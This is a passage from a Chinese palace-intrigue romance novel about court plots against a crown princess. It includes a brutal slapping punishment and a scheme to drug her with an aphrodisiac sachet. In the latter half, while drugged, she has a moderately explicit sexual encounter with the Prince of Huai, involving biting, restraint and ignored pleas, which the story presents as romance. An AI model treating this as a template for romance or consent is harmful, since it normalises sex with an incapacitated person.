赵上钧勾起嘴角,露出一个似笑非笑的神情,他看着傅棠梨,平静地开口发问:“太子妃,有人指我与你有私,你有何话说?” 林婉卿眼神躲闪,娇娇怯怯地道:“我并无此意,淮王莫要误会。” 异样的感觉已经快要流到脚踝,渐渐冷却,黏腻难耐,像是春天的虫子蜿蜒而下,叫人脊椎发麻。怎么能这样呢?不该能这样啊。傅棠梨在心中忧伤地叹息着,但她眉目静谧如同往常,低下了头,对淮王表示应有的恭敬:“儿蒲柳之质,怎堪冒犯皇叔,儿惶恐。” 赵上钧的目光又转向赵元嘉:“太子,你又怎么说?” 想来是卿卿不识大体,为了构陷太子妃,胡乱攀咬,也不看看,淮王岂是能轻易招惹的?太子妃也是晦气,每每撞见淮王,总会令他不悦,这又是什么运道? 赵元嘉心念急转,朝赵上钧连连拱手:“婢妾无知,冒犯皇叔,还望皇叔宽宏,勿要责怪她,待我回去定然好好管教。” 赵上钧微微地笑了一下,笑意不达眼底:“无妨,不需待太子回去,我替太子管教亦可。”他倏然沉下脸,断喝了一声,“高宫正。” “是。” 高宫正上前一步,抬手比了一下,两个高挑的宫人立即上前,拿住了林婉卿,一左一右将她的手臂按住。 林婉卿惊怒不已,跺脚道:“你们要做什么?我乃东宫太子承徽,你们这些奴婢安敢对我放肆!” 话音未落,高宫正已经一巴掌扇了过来,狠狠地呼在林婉卿的脸上。 “啪”的一声,林婉卿半边脸颊高高地肿了起来,她眼睛直冒金星,晕了一会儿,才觉得脸上火辣辣地疼,她素来娇柔,哪经得起这个,不由失声痛哭起来:“太子、太子救我!救救我!” 赵元嘉大感意外,他平日性子温厚,此时也不禁生出了怒意,脸色发青,沉声问道:“皇叔这是何意?” “我是何意?”赵上钧看着赵元嘉,重复了一遍,“太子觉得,我是何意?” 雪下在栏杆外,渐渐淹没夜色,这是一年中最冷的时节。赵上钧深色的道袍几乎溶化在黑色的苍穹下,带着不属于尘世间的森冷,他的身量太高,望着赵元嘉的时候,是一种居高临下的状态,压迫而来,如山岳逼人。 赵元嘉忽然就熄了火。 除了当今天子,无人敢对淮王不敬,淮王执掌万军,杀伐专断,铁蹄之下亡魂无数,想当然,怎么容得一个区区小女子对他胡乱污蔑,又是那等阴私不堪的罪名。赵元嘉很快为自己找到了理由,并非他胆怯,实在是林婉卿无礼,怪不得淮王。 他一念及此,再次服软,堆起一脸笑容,诚恳地道:“皇叔息怒,孤是怕皇叔气坏了身子,父皇定然降罪于孤,这等小事,实在不值皇叔一顾,林承徽是我东宫的人,要怪就怪孤平日御下不严,才叫她招摇生事,还请皇叔体恤侄儿,给侄儿留一个情面,饶过她这一遭吧。” 赵元嘉在说这些话的时候,高宫正并未停下,正正反反扇了林婉卿十几个耳光,“噼啪”之声不绝于耳,她常年在宫中掌管戒令纠禁之职,行事严苛,毫不容情,把林婉卿的脸抽得宛如猪头一般,林婉卿连话都说不出来,被两个宫人架着,在那里痛苦地直哼哼。 赵元嘉心疼不已,上前一步,又叫了一声:“皇叔!” 赵上钧略一抬手。 高宫正停住了手,退后两步,对赵元嘉规规矩矩地行了个礼:“太子殿下勿怪,内廷规矩森严,合该谨言慎行,林承徽口出秽言,对长者大不敬,理应受罚,只望她能以此为戒,日后切切不可如此轻狂了。” 赵元嘉心中有气,又不敢对高宫正发作,只怕这事情闹大了,愈发不好收拾,他忍了又忍,勉勉强强地“哼”了一声。 赵上钧拂了拂衣襟,拂落一襟雪,他的语气平淡而懒散:“若非太子故,吾定杀此婢子。” 寒意如刀锋。 赵元嘉不禁心头发怵。 那两个宫人松开了手,林婉卿瘫倒在地上,捂住了嘴,咬紧牙关,眼泪直流,不敢发出半点声响。 赵上钧转身离去,雪落在他身后,白茫茫的一片,在夜幕下,如同泼了水的墨色,浓郁而沉寂。 傅棠梨默默地吐出一口气,这才发现,汗水湿透了后背,而大腿凉飕飕的。 —————————— 自去岁夏,范阳节度使李颜报当地流匪为乱,如今竟越演越烈,李颜为之警觉,几番追查,探明根源出于潞州,欲出兵剿匪。原金吾卫大将军孙澄被贬出京,时任潞州刺史,他与李氏有旧怨,自然不允,双方人马对垒于潞州边境,形势一触即发。 此事传于朝廷,元延帝不悦,先前的范阳“匪乱”是什么缘由,元延帝心知肚明,疑心李颜过贪,欲染指潞州。时至今日,玄甲军元气大伤,淮王虚弱,无再战之力,元延帝心中隐患消了大半,对李颜又提防起来,下旨范阳,严令李颜不得擅动兵戈。 李颜恨恨而止。 与此同时,自冬来气候反常,雪一直下个不停,今年水气充沛,各地官员以郑州为戒,担心堤坝不固,春汛伤民,纷纷上表请求朝廷拨款修筑水利,户部和工部皆不愿出钱,互指对方贪赃,昧了款项,在金殿上吵得不可开交。兼之郑州堤坝尚未修复,骚乱的百姓又在闹事,地方官员惶恐,接连上奏朝廷。 如此种种,令元延帝忧烦不已,思及旧账,又把赵元嘉训斥了一顿,幸有傅方绪等几个老臣极力为太子开脱,这事才算放过去了。 赵元嘉无辜受了责备,回到东宫,迁怒于林婉卿,很是发了一通火。 …… 这段日子纷纷扰扰的,发生了不少事情,过了几日,林婉卿的父亲林商在家中设宴,延请太子及太子妃过府,示赔罪之意。 傅棠梨本不作理会,赵元嘉赌气,声称要携着林婉卿去赴宴。傅棠梨想想又不妥,在外人面前,若叫赵元嘉和林婉卿公然出入成双,那她东宫太子妃的颜面恐怕就没处搁置了,思之再三,遂同往。 林府占地广阔,以尚书官职,已属逾制,但因上头有林贵妃在,连御史台也不便说他。 林商及林夫人延太子并太子妃入,执臣子礼仪,毕恭毕敬,林婉卿今天也老实了许多,低眉顺眼地跟在赵元嘉身后,一脸柔弱无辜之态。 宴席设于正厅大堂,双侧各立二十四扇珐琅山水錾金屏风,大幅团花缂丝蜀锦垂覆,四角摆着赤金虎面方尊,尊中燃着红萝炭并白檀木,异香扑鼻,地上铺的是波斯国的羊绒金丝地毯,婢女往来侍奉,赤足而行,足踝系金铃,叮当作响。 席间摆放缕金香药十样,雕花蜜煎十样、时新鲜果十样、脯腊膴胖又十样,婢女出府中器皿,水晶、琉璃、玛瑙、琥珀等,以此奉贵客,致四方美味,南海琼枝、东陵玉蕊,八珍鱼脍、荔枝白腰等五十样,又佐以长春法酒、琼酥天乳、蔷薇清露、蓬莱玉液等佳酿,未饮已醉人。 极尽奢华。 待坐定,林商犹曰:“寒舍太陋,恐不当太子意,惭愧。” 赵元嘉矜持地点了点头:“林翁无需过谦。” 林商把腰弓得低低的,赔笑道:“下官门下有客卿,自塞北归,过庭州,见有胡姬善舞,携之以返,可娱声色,太子愿赏脸一观否?” 傅棠梨坐在旁边,闻及“庭州”、”胡姬“等语,心倏然漏跳了一拍,下意识地端起茶盏,抬手做饮茶状,用袖子遮住了脸。 赵元嘉已道:“可。” 少顷,香风阵阵,铃铛声响,有胡姬踏旋舞而入,面容妖冶,金发绿眸,眼神勾魂,袒胸而露臂,双腿若白雪凝脂,凭地销魂。 这并不是庭州酒楼遇见过的那个胡姬,傅棠梨松了一口气,暗笑自己草木皆兵了,又把袖子放了下来。 林婉卿哀怨地看了父亲一眼。 赵元嘉显然还算满意,他坐在那里喝着酒,面上泛起了愉悦的笑容。 胡姬姿态妖娆,手臂若灵蛇,宛转盘绕,先是时还正经做胡旋盘舞,后 来举止越来越不规矩,扭动腰肢,旖旎着来到赵元嘉的身边,胸前春波荡漾,飞来一个妩媚的眼波。 赵元嘉使劲咳了起来。 林商见时机恰好,端着酒盏过来,弓着腰,谦卑地道:“因工部修堤之事,累太子殿下往郑州奔波,下官惶恐,下官亦有心办事,只恨户部一毛不拔,巧妇难为无米之炊,徒呼负负,望太子明鉴,切莫怪罪于下官。” 赵元嘉按元延帝的安排,在太常寺和吏部两处做过事,对工部确实不甚知之,往日听风评,众大臣对林商颇不屑,暗嘲他凭借裙带上位,实庸才也,但所谓伸手不打笑脸人,何况林商又是林婉卿的父亲,赵元嘉只好笑了一下,未置可否。 林商拍了拍手,胡姬停住了舞蹈,跪伏在赵元嘉的脚下。 仆从从厅外牵着两匹马进来,这两匹马体态健硕,前额高隆,有虎豹精气,通体近赤金,而鬃毛呈白银,水滑如丝缎,端的是难得的神驹,又配以金络脑、雕花鞍鞯、翡翠当卢等配饰,整个光耀灼灼,显得华贵无比。 林商亲自牵了一匹到赵元嘉跟前,满面堆笑:“之前息女鲁莽,与太子妃争抢马匹,令太子及太子妃不悦,下官为人父,甚羞愧,此栗金叱拔也,亦从庭州所获,殊为难得,特敬献于太子。” 林婉卿是家中幼女,自幼被千娇百宠着长大,虽则已经嫁人了,小女儿憨态却尚未消除,此时看着那马,忍不住插嘴埋怨道:“好是好,终究不如那匹桃花马来得漂亮,父亲不是说要找一匹一模一样的来吗,怎么差了?” 林夫人在后面使劲掐了女儿一把,林婉卿疼得”哎呦“叫唤了一声。 林商叹气,朝赵元嘉拱手道:“那桃花叱拔原是书中才有的奇物,唯高昌国主偶获之,是为国宝,高昌为淮王所灭,这世间也只有这么一匹,下官无能,自然不能与淮王殿下相比。” 那两匹栗金叱拔风采异常,且成双而出,尤显难得,赵元嘉心中是满意的,太子妃已经有了一匹桃花马,林商的意思自然就是太子和林婉卿各一匹,赵元嘉不去说破,只点了点头,微微露出几分笑意:“林翁有心了。” 傅棠梨百无聊赖,啜了一口茶,哂然一笑。 林夫人见状,急忙起身,又有仆从抬檀木箱以进,林夫人示意呈至傅棠梨前,亲自打开了箱子。 箱盖掀起,宝光四溢,内中两株近尺高的血赤珊瑚树,流光如霞,树下堆满珍珠,颗颗皆有拇指大,莹白浑圆。 林夫人比女儿圆滑许多,当着傅棠梨的面,十分谦卑:“息女有幸,得入东宫侍奉太子并太子妃,然其天真烂漫,或言行多有不周之处,令吾担忧,些须薄礼,不成敬意,乃吾等为父母者心意,还请太子妃笑纳,日后息女在东宫还请您多多担待。” 仿佛送了礼,林婉卿那种种举动都成了天真烂漫了,这种担待,傅棠梨应承不下,更何况林家的这些财富,也不知有多少是贪赃而来的民脂民膏,傅棠梨也不屑,对于林夫人的话,她不过淡淡地笑了一下:“夫人盛情,心领了,不敢当。” 但是,赵元嘉此时却道:“卿卿胸无城府,心性率真,我素喜之,今日林家既有这心意,往日种种过节,也不必再提,二娘日后与卿卿共处,大可和气些。” 他说得如此理所当然。 傅棠梨仅有的一点耐心也消失殆尽,她看了赵元嘉一眼,拖长声音,慢条斯理地唤了一声:“黛螺。” 黛螺正和胭脂侍立在太子妃身后,不愧是多年的贴身婢女,娘子一个眼色过来,她就心领神会了,上前一步,一本正经地道:“这种珊瑚树,太子妃的嫁妆中就有五四株,最矮的那个也有一尺半,林夫人,您这两株还没长大呢,不必急着送出手,至于那些个珍珠……” “家里的珍珠多得要命,这些都算小的。”胭脂补了一刀,“太子妃前儿还嘱咐我们用珍珠做了几双鞋面,这会儿鞋子很够,不需再多。” 纵然林夫人城府再深,此时也不禁变了脸色。 林商干巴巴地笑了笑:“贵仆怪会说笑。” 林婉卿红了眼眶,拉着赵元嘉的袖子,泫然欲泣:“太子,您看她……” 赵元嘉皱眉看着傅棠梨,语气颇不许:“林夫人一片好意,你素来贤良,缘何今日如此无礼?” “何谓无礼?”傅棠梨面色不动,慢慢地道,“论公,我乃太子妃也,此臣妇,岂能当我多礼?若论私……”,她站了起来,抬起下颌,从容而倨傲,“此妾室家人,本就不配与我平起平坐,我称呼一声‘夫人’,已经折煞她了,犹不知足,何太贪?” 赵元嘉勃然色变,掷杯于地:“傅二娘,你回回都要与孤作对吗?” 傅棠梨忽又莞尔一笑,心平气和地道:“我胸无城府,心性率真,或言行多有不周之处,还请太子多多担待,太子既厌我,那便容我先行告辞了。” 她言罢,不待赵元嘉答话,带了贴身的婢女仆从,径直扬长而去。 赵元嘉有心追上去和她争执,又觉不成体统,只气得个脸色发青。 …… 李复弓着腰站在二门外,已经等候了许久,他原是普通商贾,所求者也不过利也,此次自庭州返,携至宝献于林大人,赏赐尔尔,甚至抵不过他的本钱,他颇不甘心,腆着脸,对林府管事殷勤赔笑。 “小人从庭州带回的舞姬与马匹,不知主人中意否?不是小人自夸,若换别的人,未必能找到这般上等货色,舞姬且不论了,那两匹马,小人敢说,就连庭州大都护府上都未必有比这更好的。” “行了、行了、给我们家送礼的人多了去,不差你一个。”林家权势赫赫,便连府上的管事也盛气凌人,如李复这般依附于林家的商贾数不胜数,哪里值得他逐一应付,当下不耐烦地道,“东西也送上去了,稍后若能讨得太子殿下的欢心,大人自会厚奖你,你莫要在此呱噪。” 李复犹在讨好,掏出碎银子塞到管事的手里:“还请管事多多美言……” 就在这时,一大群人从内院走了出来,前有女使奉拂尘与纨扇引路,奴仆无数,簇拥着中间一个华服丽人,一看就知身份不凡。 管事唬了一跳,避让不及,急忙扯着李复在道边跪下:“这是太子妃,不得失礼。” 李复惶恐,跟着管事一起把头伏得低低的。 少顷,丽人从身侧过,众女使佩环声动,隐有香气如莲花。 李复按捺不住好奇心,偷偷地抬头张望了一下,这一瞧,他倏然瞪大了眼睛,忘记了场合,往前一扑,几乎要立起身来。 幸而管事的眼疾手快,一把按住了李复的头,迅速压到地上,低声怒斥:“你作死吗?” 有东宫女使闻得动静,回头看了一眼。 林府管事急忙拱手,讪讪地笑。 好在女使没有计较,很快离开了。 管事这才松了一口气,站起来,朝着李复啐了一口:“该死的贱民,敢在贵人面前无礼,险些带累我,快走快走!” 李复使劲咽了一下口水,激动之下爬不起身,一把抱住了管事的腿,颤声道:“我要面见林大人,我有一个天大的秘密要和大人说,天大的秘密!” 管事一脸狐疑之色,盯着李复看了半天。 第52章 第52章二更禁庭春夜…… —————————— “你说什么?淮王与太子妃私通?”林贵妃原本斜倚在软榻上,一下子坐正了姿势,捂住嘴,几乎不可置信,失声道,”淮王那般冰冷冷的一个煞神,又是出家的道士,会和太子妃好上?真真匪夷所思。” “千真万确!”林婉卿恨不得对天发誓,“那李姓商贾说得有凭有据,去年夏末,淮王不是在庭州吗,那傅二娘当时说是去了渭州,渭州距离庭州不甚远,他们二人必是约了私下在庭州相会,以此避开长安众人耳目,李贾还说,淮王对太子妃极为爱护,有人对太 子妃无礼,被淮王当众打杀,这事情,遣人去庭州一探就知究竟,做不得假。” 林贵妃冷静下来,谨慎地做了个手势,贴身的宫人迅速出门,左右看了看,又回来禀道:“娘娘,没人,都在外头候着呢。” 林婉卿手里拿着方帕子,气愤愤的,差点绞烂了:“我就说,当日在西暖阁看到的,和太子妃在一处的男人就是淮王,偏偏淮王不认账,还要装作无辜,叫人把我打了一顿,可恨极了。” 林贵妃沉思半晌,长长地叹了一口气:“竟然如此?原来如此!” 她生来千娇百媚,寻常说话都是轻柔婉转的调子,此时也不例外,懒洋洋的,好似还笑了一下。 林婉卿不乐意了,拉住林贵妃的袖子摇晃着撒娇:“娘娘,既然证据确凿,您赶紧告知圣上,将这一对奸夫□□一并拿下,断不可轻饶。” 林贵妃瞥了林婉卿一眼:“这事儿,你怎么不去和太子说,却过来告诉我?” 林婉卿撅起了嘴,咕哝着道:“我本待马上告诉太子,父亲偏说不可,要我进宫,请娘娘拿个主意。” 可见林商还是有点脑子的,至少比林婉卿强。 林贵妃“啪”的一下,把林婉卿的手拍开,又气又笑:“你要和太子说、和圣上说,怎么说?空口白牙的,就凭一个贱民的一面之词,想要将淮王和太子妃一起定罪?你命大,能在淮王手下逃过一遭,我可不敢触他霉头。” 林婉卿呆了一下,几乎跺脚:“那不成,怎么能就这样放过他们两个?” 林贵妃实在忍不住,戳了一下林婉卿的额头:“我们林家怎么出了一个你这么蠢的?”,她转而又叹气,“好在太子也不甚聪明,难怪他喜欢你呢,果然是物以类聚吗?” 林婉卿捂着额头,委屈极了,眼睛都泛起了泪光:“娘娘怎么这样说我,难道您不疼我了吗?” 林贵妃圣眷浓厚,宫殿中布置得富丽堂皇,她点的香是最昂贵的龙涎,香气馥郁,如同旖旎的云雾弥漫在玉屏珠帘之间,她的眉眼掩在这云雾后,微微笑着,一如往常,温柔又妩媚,涂着丹蔻的手指竖在朱红的唇上,轻轻地“嘘”了一声。 “好孩子,别着急,待我好好安排一番,若淮王真对傅二娘有情,我管叫他们二人当场显形,到时候,叫太子殿下亲眼瞧一瞧,我就不信,弄不死傅二娘。”她轻描淡写地如是说道。 —————————— 开春后,沈皇后病情不见好转,愈发沉了起来,赵元嘉和傅棠梨过去探视了几次,她时而昏迷、时而清醒,连话也说不上几句,令赵元嘉忧心不已。 在沈皇后身边服侍多年的宫人十分不忿,忍不住对太子抱怨道,只因林贵妃对皇后不恭,皇后去寻圣上讨还公道,圣上避而不见,令皇后娘娘在甘露殿外等候许久,时值雪夜,受了风寒,这才病倒,如今圣上却对林贵妃无半点责罚,何其偏袒。 赵元嘉闻言,当即去找元延帝理论,元延帝顾左右而言他,坚决不认,又忆及与沈皇后少年结发,几欲落泪,后来反而是赵元嘉跪下认错,劝慰了父皇许久。 未几,沈皇后的未央宫中服侍的人统统换了一茬,再也没人敢在太子面前多话了。 …… 这一日,赵元嘉外出办事,时方暮,天有微雨,宫中来人,传沈皇后的意思,命太子妃前去侍疾。 傅棠梨不敢怠慢,随同往。 至未央宫外,居然是太医署许掌令亲自领着几个医官守在那里,许掌令见太子妃来,上前拜见,面露忧色,低声禀道:“太子妃须得小心些,娘娘这病不太妙……”他停顿了一下,有些艰难地道,“怕是已经转为肺痨,很是棘手。” 傅棠梨心下一沉:“父皇可知晓?来探望过了吗?” 许掌令没有正面回答,含糊地道:“千金龙体,不可有失。” 肺痨是会过人的,元延帝怕染病,竟连结发妻子都不来看一眼,何其凉薄,傅棠梨心中生出了一种兔死狐悲之意,长长地叹息了一声。 许掌令心肠好,又低声道:“皇后命侍疾,太子妃不得违,下官这里特制了防疫的香囊,可抵挡病气,太子妃请佩于身。” 他退后一步,后面一个医官上来,将一个巴掌大的香囊呈给傅棠梨。 傅棠梨接过,入手即闻异香扑鼻,她道了谢,系在腰带上。 少顷,尚宫出,引太子妃入内。 至内殿,沈皇后犹在昏睡中,床幔低垂,她躺在那里,隐隐约约地看过去,整个人都消瘦得不成样子,脸色淡如金纸,呼吸微弱,似乎毫无生气。 床头点着一炉香,白雾袅袅,空气中漂浮着苦涩而沉郁的药味。 傅棠梨有些心惊,她不便惊扰沈皇后,只能垂着手,安静地侍立在她的床边。 尚宫弓着腰,无声地退了出去。或许是怕染病,宫人们避得远远的,站在屏风外。重重叠叠的纱帘垂下,把烛光隔得支离破碎,瞧过去一切都显得幽深而昏黄。 四下寂静,寥无人声。 周遭的香气逐渐堆积起来,越来越浓,不知道是从哪里散发出来的,很怪异,那是一种无法形容的、甜美而萎靡的味道,像是牡丹开到极盛,又转为凋谢,软得都要融化了。 令人深陷其中,不能自拔。 傅棠梨不知道自己怎么了,她有些站立不稳,身体渐渐燥热起来,血流得很急,心跳得很快,突突地快要冲破胸腔,头昏昏沉沉的,她试图思索一下眼前的处境,但是脑子像是被浆糊黏住了,转不动,只能迷迷糊糊地想着,莫非她也病了? 不知过了多久,或许也只有那么一小会儿,有人蹑手蹑脚地过来,在傅棠梨的耳边轻轻地唤道:“太子妃?太子妃可是哪里不舒服,奴婢带您先下去歇一歇,可好?” 她确实不舒服、很不舒服。傅棠梨已经无从分辨,她踉跄着后退,想要离开这里,下意识地应了一声“好”。 —————————— 范阳的局势愈发微妙,李颜一面频频调动兵马辎重,一面又上书朝廷,哭诉范阳境内动乱,疑有官兵冒充匪徒,屡屡攻打范阳,令其损伤惨重,求元延帝下旨,允其出兵潞州,清除匪患。 范阳节度使有多少人马,潞州刺史又有多少人马,元延帝心里是有数的,他对李颜的无理取闹十分恼火,这会儿又念起淮王的好处,急召淮王入宫,商议此事。 赵上钧能与元延帝商议什么,只道眼下安心养伤,军务之事已无力管辖,至于李颜与孙澄之争,必然是孙澄之过,可再贬之。 元延帝也不是不讲道理的人,忽然又觉得孙澄可怜起来,悻悻然说了几句,收住了这个话题。 时值深夜,林贵妃来请元延帝回去安寝,见淮王欲退,殷勤致意,言及淮王伤病未愈,外头风雨交加,恐受寒,大不妥。 元延帝被林贵妃的这一番话又挑起了长兄之心,不允淮王离去,留其宿于长兴宫。 长兴宫为赵上钧和长兄旧居所,元延帝亲携赵上钧同往,见宫中一切陈设如往昔,不禁感慨万千,又诉及往事,泪湿眼眶。 赵上钧沉默良久,垂下眉眼,对元延帝道:“五郎亦不能忘,五郎一身皆大兄所赐,当日之誓不敢违,无论来日如何,五郎愿为大兄效死,无有不从、无有不遵。” 至此,元延帝心满意足,方才离去。 淮王喜静,宫人不敢 扰,皆退出殿外。 这会儿已经是春天了,论理说,春雨应是缠绵的,但今夜的雨下得有些急,砸在宫城的瓦片上,嘈嘈错错的,吵闹得很,让赵上钧甚是不愉。 长兴宫的廊庑下挂着琉璃明角灯,灯光在风雨中飘摇不定,恰如这动荡的时节。 赵上钧静坐于案前,正垂眸沉思之际,忽闻窗外有宫人过,窃窃私语。 有一人语气同情:“太子妃……有恙,独在灵犀殿……可怜……胡不召太医?” 同伴嘲讽:“皇后重病、贵妃头疾发作,值夜太医皆不得闲,谁理她?” 那人又道:“怎不见东宫侍从来接?” 同伴又懒洋洋地道:“太子冷落太子妃久矣,东宫多是趋炎附势之辈,恐无人应答,你操心什么,莫再提。” 先前那人嗟叹了一声,声遂止。 赵上钧目中精光暴露,霍然站起身来。 —————————— 傅棠梨不知身在何处,只觉得整个人好似浸泡在春水里,软绵绵的,又好似暴晒于烈日下,火辣辣的,汗水一阵阵地冒出来,衣裳都湿透了。 奇异的香气围绕着她,无处不在,无孔不入,像是曼陀罗的酒酿,迷醉人心。偌大的宫殿中只有她一个人,烟纱如幕,锦帘如障,绮丽的光影笼罩过来,恍惚间,一场光怪陆离的梦魇将她束缚住,不可逃脱。 好痒,痒得身体都发麻,她太过难受了,忍不住把整个人都蜷缩起来,扯住了衣领,难耐地抓挠着。 耳边有人轻轻地叹息了一声,一只大手伸了过来,摸了摸她的额头:“梨花。” 男人的声音很低、很轻,几乎不可闻及,但傅棠梨听见了,即使是在神志不清的混乱中,她仍然打了个激灵,睁开了眼睛。 眼前灯烛朦胧,她视线模糊,瞧过去,一切都带着一层氤氲的水气,连他刚毅的面容也变得柔和了起来,眉眼深邃,俊美宛如天上人。 来不及分辨,来不及思索,什么都来不及,极度的渴望如同澎湃的潮水,汹涌卷来,把傅棠梨的理智都淹没了,她朝着赵上钧扑了上去,抱住了他。 她眼角殷红,面似桃花,没有章法地在他身上胡乱磨蹭着,急切地、笨拙地吻他,哀婉地求他:“……皇叔、皇叔,救我。” 赵上钧倏然捏住了她的下巴,把她硬生生地掰开,他望着她,眼眸漆黑如夜,其中一半是火焰、一半是寒冰,似鬼魅一般:“梨花,看清楚,来,告诉我,我是谁?” 他是谁? 傅棠梨用迷离的目光望着他,喘息着,咬着嘴唇,几乎把嘴唇都咬破了,唇间露出一点樱桃红,她挣扎了半天,还是小小声地叫他:“皇叔……” 赵上钧咬着牙,他也喘得厉害,手背上凸起了青筋,但他终究露出一个冰冷的笑意,强硬地把她按在枕上,不让她动弹,用温柔的声音告诉她:“可是,皇叔是不能这样……这样碰你的,这不对。” 傅棠梨呆了一下,突然觉得很委屈,拽住了他的衣袖,小声地啜泣了起来:“……道长,玄衍、玄衍。” 她的声音细细软软的,像是糯米糍粑,黏着蜜糖,她哭得泪汪汪的,水珠儿沾在睫毛上,星星点点,既可怜又可爱,素日那样端庄正经,这会儿撒娇起来,简直要命。 赵上钧再不能克制,他猛然将她紧紧抱住,那种粗暴的力度,仿佛是想要把她嵌到自己的骨头里去。 傅棠梨觉得自己热得快要死掉了,死在赵上钧的怀抱中。 烛光摇曳,轻纱逶迤,如同云雾飘渺,窗外雨声愈急,敲着檐上瓦、阶下石,如琵琶弦上音,十指轮拨,急急切切。 赵上钧的手摸索着,握住了她的腰肢,她的腰在颤抖,那么纤细,就像江月岸边的婀娜杨柳,他的胸腔剧烈地起伏着,好似在打一场恶战,汗水流得比她还多,他拉住她的腰带,用力一扯,腰带上的香囊掉了下来,他一把捞住,远远地抛了出去,恨恨地骂了一个字:“笨!” 傅棠梨没听懂,更委屈了,她被赵上钧压着,胸口发闷,只能两只脚胡乱蹬着,想要踢他。 裙摆撒开,衣带散开,领口大大地敞开着,如同羔羊,雪白的、无辜的羔羊,而他是凶狠的野兽,经不得这样的挑衅。 他低下头,一口咬住了她的肩膀,如同酥酪凝脂,带着她的甜,美味异常,他的牙齿贯穿了她娇嫩的肌肤,狠狠地咬着,几乎想把她的肉吃下去。 傅棠梨吃不住疼,发出了尖利的惊叫,但只有半声而已,他的手按了过来,捂住了她的嘴,不让她发出声音。 剧烈的疼痛让她恢复了一些意识,她呜呜地哭了起来,泪水和着汗水一起把发鬓都打湿了。 赵上钧终于松开口,舔了舔她肩膀上的血珠,从牙缝里挤出字来:”我在你身上留下印子,你说,赵元嘉看到了会如何?“ 赵元嘉?那是什么玩意儿?傅棠梨迷迷糊糊地想了一会儿,突然惊醒,打了个哆嗦,她眸中泪水未干,气喘吁吁地去推赵上钧:“不、不行、走开……” 用过就丢,何其可恨。赵上钧简直要气笑了,他抵住她的胸膛,她的心在他的手掌下面”噗通噗通“地鼓动着,柔软而又激烈的心跳,叫他几乎发狂,他居高临下地望着她,慢慢地问她:“梨花,喜欢我吗?” 他的声音沙哑得厉害,好似被砂砾碾过,粗糙得发疼。 傅棠梨仿佛还被那种怪异的药物所控制着,浑身颤栗:“喜、喜欢!” “你骗我。”赵上钧俯下身,这只野兽尚未得到慰藉,他恶狠狠地盯着她,咬牙切齿,“你又在骗我!” “没有、没有骗你。”她望着他,目光哀婉而迷离,好似乱了春水,不能浮起,她喃喃地这么说着,宛如梦呓一般,“是真的……喜欢。” 这句话,是最烈性的药,令人疯狂、令人可以为她生、为她死。 赵上钧倏然俯身。 烛光沉下,像是什么东西破开的动静,过于剧烈、过于强硬、好似不堪重负。 傅棠梨一声闷哼,倏然缩紧,她高高仰起脖颈,如同一个圆弧的弓,拉满了,马上就会破裂。 他坚硬的肌肉下,血液在脉络中涌动,鼓动着,喧嚣着,拥抱着,紧紧贴在一起。 他太烫了,她的皮肉那么娇嫩,简直要被他烫伤,她哭了起来,落下了眼泪,却情不自禁抓住他的后背,指甲掐进去,抠出了血印子,一道道,晕染开,和汗水混合在一起,滑腻腻的。 她吻他,主动地、热烈地,在这极致而淋漓的夜晚,昏暗的、摇曳的烛光下,发了疯一般吻他。 是真的……喜欢。失去理智、不再冷静,只有在这种时候才敢纵容自己,偷偷地,不叫旁人瞧见。 …… 在这一片迷乱中,门外突然传来的一阵纷沓的脚步声。 如同一个霹雳当头打下来,傅棠梨顿时惊悚,身上的热汗倏然转为凉的,她如坠冰窟,遽然睁大了眼睛,颤声道:“有、有人来了,你快走、快走!” 但赵上钧并没有抽身而退,反而更进一步,他气势汹汹地咬她,从她的眼睛、到嘴唇、到喉咙,贪婪而粗鲁,几乎要咬破她的肌肤。 “不走!你不是喜欢我吗?我不怕叫人知道。”他在间隙中,近乎呢喃地问她,“怎么,你怕吗?” 敲门声响了起来,“叩叩叩”,由轻及重。 赵上钧突然恨恨地咬住傅棠梨的脖子。 傅棠梨闷哼了一声,脚趾尖蜷曲了起来,狂乱地摇着头,头发水淋淋的,湿透了。神志过于恍惚了,以至于她骤然生出了一个突兀的念头,算了,死就死吧,一起死罢了。 敲门声愈发急促了起来。 第53章 第53章说,太子妃的奸夫在哪里…… —————————— 雨下得很大,风斜着吹,把赵元嘉的衣袖都打湿了,黏黏地贴在手上,这令他感觉十分焦躁。 他方才回到东宫,还未及更衣, 却见林婉卿慌慌张张的,几乎是小跑着进来,脸色苍白,好似后头有鬼在撵她似的,她一看到赵元嘉,立即扑了上来,“噗通”一声,跪倒在他面前。 赵元嘉皱眉:“好端端的,你又怎么了?” 林婉卿抬头,一脸惊恐之色,她身体发颤,声音还是娇娇弱弱的,好似快要晕过去的模样,说出话却是石破天惊:“妾随太子妃入宫为皇后娘娘侍疾,太子妃中途走脱,妾尾随之,竟见其在灵犀殿与人私会……” “闭嘴!”林婉卿的话还未说完,赵元嘉已经暴怒,“你知道自己在说什么混话吗?” 林婉卿的眼泪如珍珠般落下,她以袖拭泪,哭着道:“妾也不愿相信,妾见到那般丑态,惊得实在六神无主,亦不敢声张,只能退避,但这会儿见殿下,实在不敢隐瞒,还请殿下决断。” 赵元嘉额头上的青筋突突直跳,恨不得一巴掌摔在林婉卿的脸上:“你闹够了吗?你一而再、再而三诬陷太子妃,莫不是仗着孤宠你,就忘了上下尊卑之别?” 林婉卿心里恨得流血,她的手摸上自己的小腹,暗暗咬了咬牙,皇后重病,无人能为傅二娘撑腰,趁此契机,扳倒傅二娘,太子妃之位唾手可得,岂容退缩。 傅二娘和淮王皆在灵犀殿中,傅二娘被那药香所迷,无论淮王是否把持得住,这孤男寡女共处一室,是怎么都说不清楚的,这步棋,只要淮王踏入灵犀殿,就算是成了。 她一念及此,面上的神色愈发哀切,泪流满面,一下又一下地磕头,额头上都渗出血痕来:“妾指天发誓,若有虚言,妾甘领一切责罚,他们眼下还在那边,太子去了,一看便知究竟,妾怎么敢凭空捏造呢?” 此情此景,由不得赵元嘉不信,他怒目圆睁:“谁!那狗男人是谁?谁敢如此胆大妄为!” 林婉卿把头伏在地上,身体发抖,十分畏惧,呐呐若蚊声:“妾曾经说过……太子不信,妾不敢再说。” 赵元嘉好似被雷劈到了一般,呆滞了一下,内宫禁廷,除了天子,还有哪个男人能够出入其中? 只有淮王。 赵元嘉惊怒交加,转身冲了出去,满脸狰狞之色。 东宫侍从们见太子如此情态,皆大惊:”殿下、殿下,夜已深,殿下何往?” 林婉卿一骨碌从地上爬起,急令侍从们持灯火照明,跟上太子。 风雨愈大,泼不灭灯火,一行人浩浩荡荡、气势汹汹,直奔灵犀宫。 